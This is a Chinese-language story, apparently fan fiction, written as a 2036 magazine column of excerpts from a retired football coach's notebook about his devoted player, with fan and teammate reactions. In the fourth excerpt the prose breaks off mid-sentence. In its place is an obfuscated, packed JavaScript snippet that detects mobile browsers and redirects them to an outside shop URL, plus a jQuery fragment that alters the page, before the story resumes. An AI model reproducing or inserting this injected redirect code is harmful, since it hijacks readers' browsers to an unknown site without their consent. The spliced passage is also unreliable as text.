2036年冬天，德国《11 Freunde》杂志做了一期伯格曼的退休专访。伯格曼现在住在慕尼黑郊外，养猫，种花，偶尔给电视台当嘉宾。记者在他书房里发现了一本破旧的黑色笔记本，征得同意后翻拍了其中几页。
专访刊出后，整个德国足坛炸了。
不是因为战术多精妙——那些箭头和跑位线，懂行的人看了说“不过时但也不算革命”。炸的原因是笔记本里关于一个球员的文字。那个球员叫马蒂亚斯·韦伯，退役快十年了，现在在波鸿开点球工坊，种西红柿，偶尔上电视预测点球，过得像个退休老农。
杂志把相关片段整理成一个专栏，
标题是：《安德烈亚斯·伯格曼的战术本：他是我最不想下课的学生》。
以下为专栏节选。
————
片段一：圣保利时期，2005年
“韦伯今天第一次在拿球前喊出了‘左边有人’。他喊完还是没传，但至少他看了。进步。”
“他问我：‘我是不是不适合踢球？’我说：‘你适合。但你需要一个更简单的说明书。’”
“他主动要求加练头球。头球是他少数不需要教的东西。他跳起来的时候，影子像一座山。”
—
网友评论：
“影子像一座山”——伯格曼这个描述我哭死。他看韦伯的眼神从来不是教练看球员，是工匠看自己最骄傲的作品。
——@柏林墙上的球印
所以他当年在圣保利租借期那半个赛季突然开窍，不是开窍，是有人给他写了说明书。
——@数据党出没
————
片段二：柏林赫塔时期，2017年
“他来赫塔第一周。训练时他故意大力射门打飞，我知道他在紧张。我告诉他：‘你不需要在这里证明你很强。你只需要做一件事——禁区里站着，等球。’”
“德国杯对拜仁，他加时赛绝杀点球。赛后他发短信：‘我永远不会辜负你的期待的。’我回：‘我知道。’”
——
韦伯本人在波鸿接受电话采访时被问到这段：
“他回‘我知道’的时候，我以为他在敷衍我。后来助教告诉我，他在我点球罚进之后小声说了一句‘这孩子’。我听到这个的时候已经三十岁了，坐在佛罗伦萨的出租屋里，哭得像个傻逼。”（《图片报》2036年12月19日副刊）
————
片段三：沃特福德时期，2018年
“崴脚死活不换。蠢！”
——
当时在场的队医回忆：
“韦伯的脚踝肿得跟馒头一样，我说你必须下场，他看都不看我。伯格曼在场边吼他，他假装没听见。赛后伯格曼没有骂他，只是说：‘你是不是傻？’韦伯说：‘点球进了就行。’
伯格曼气得把战术板摔在地上。但他摔完之后，蹲下来小心帮韦伯拆绷带。
我干了二十年队医，没见过主教练给球员拆绷带的。”（《天空体育》纪录片《伯乐与锤子》片段）
————
片段四：佛罗伦萨时期，2022年
“膝盖红肿，他偷偷加练被我抓到。我罚他跑圈，他跑了十圈，一圈都没少。我站在场边看他跑完，他走过来，满头大汗，说：‘教练，我还能踢。’我说：‘我知道。但你必须学会休息。’”
下方有一行小字：“他从来学不会休息。就像我从来学不会放弃他。”
——
前佛罗伦萨队友（匿名）：
“韦伯那个赛季膝盖一直有问题，但他从不在训练中偷懒。有一次我看到他加练完坐在理疗室冰敷，伯格曼进来，什么也没说，坐在旁边，两个人沉默了很久。
最后伯格曼站起来，拍了拍他的头。不是拍肩膀，是拍头，像拍小孩那样。韦伯没有躲。我当时想，这两个人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717041|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之间有一种我们插不进去的东西。”（《共和报》体育版访谈）
————
片段五：贝西克塔斯时期，2026年
“他来了。三十一岁，自由身。他说‘最后一站’。我没说话。
其实我想说：
每一站都是最后一站，只是我们运气好，站站都在一起。”
——
论坛热帖：
我破防了。“站站都在一起”——韦伯职业生涯换了多少队？沙尔克、芬洛、圣保利、柏林赫塔、沃特福德、佛罗伦萨、利兹联、贝西克塔斯。八家俱乐部，伯格曼跟了他其中的五家。不是韦伯跟着伯格曼，是他们互相跟着。
——@波鸿小酒保
伯格曼说“运气好”，但这不是运气。是韦伯每一次都选择跟，是伯格曼每一次都愿意带。
——@伊斯坦布尔的风
————
最后一段：笔记本末页
“他不是我最聪明的学生。他是我最不想下课的学生。”
——
《11 Freunde》编辑手记：
我们在采访结束时问了伯格曼：“您写这句话的时候，是什么心情？”他想了很久，说：“心疼。”然后又想了一会儿，说：“不是心疼他。是心疼那个年纪的自己，怕再也遇不到这样的球员。”
记者问他：“您后来遇到了吗？”伯格曼说：“没有。也不需要了。”
————
后续
杂志出版后，韦伯的点球工坊收到了成箱的杂志。孩子们不知道大人们在激动什么，但他们看到韦伯坐在台阶上，翻着那几页，翻了很多遍。
后来有个孩子问他：“韦伯叔叔，你为什么一直看那本杂志？”
韦伯把杂志合上，放在膝盖上，说：“因为有人把我写得很笨，但写得很好。”
孩子不懂。
可韦伯不需要其他人懂。